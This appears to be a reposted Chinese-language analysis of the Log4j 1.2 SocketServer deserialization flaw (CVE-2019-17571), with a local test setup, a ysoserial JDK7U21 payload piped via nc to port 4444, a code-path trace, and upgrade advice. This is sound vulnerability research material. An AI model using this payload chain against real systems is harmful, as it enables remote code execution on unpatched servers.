Apache Log4j 反序列化代碼執行(CVE-2019-17571) 漏洞分析


Apache Log4j 漏洞分析

僅用於研究漏洞原理,禁止用於非法用途,后果自負!!!

CVE-2019-17571

漏洞描述

Log4j是美國阿帕奇(Apache)軟件基金會的一款基於Java的開源日志記錄工具。Log4j 1.2版本中包含一個SocketServer類,在未經驗證的情況下,該SocketServe類很容易接受序列化的日志事件並對其進行反序列化,在結合反序列化工具使用時,可以利用該類遠程執行任意代碼。

環境搭建

方便測試,添加JDK7U21的漏洞環境

  1. 新建Maven項目,pom.xml中添加
<dependencies>
    <dependency>
        <groupId>log4j</groupId>
        <artifactId>log4j</artifactId>
        <version>1.2.17</version>
    </dependency>
</dependencies>
  1. 編寫測試方法
public class CVE_2019_17571 {

    private static final Logger log = Logger.getLogger(SimpleSocketServer.class);
    public static void main(String[] args) {

        System.out.println("start:");

        String[] argss = {"4444", "src/log4j.properties"};

        SimpleSocketServer.main(argss);

        log.info("succ");
    }
}
  1. Ysoserial生成POC(JDK7U21),發送POC
java -jar ysoserial.jar JDK7U21 "calc" > poc.ser
cat poc.ser | nc 127.0.0.1 4444

漏洞分析

  • org.apache.log4j.net.SimpleSocketServer#main()
    首先開啟Log4j自帶的SocketServer服務器時,會監聽設置的端口,然后獲取Socket對象,進入SocketNode類進行處理.
  • org.apache.log4j.net.SocketNode
    SocketNode類的構造方法中會對socket接收的數據封裝為一個Object流對象.
  • org.apache.log4j.net.SocketNode#run()
    在run()方法中直接進行反序列化

漏洞修復

目前官方已在Apache Log4j 2.8.2版本之后修復了該漏洞,請受影響的用戶升級至2.8.2 或更高的版本進行防護.

參考

【威脅通告】Apache Log4j 反序列化遠程代碼執行(CVE-2019-17571)漏洞威脅通告


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM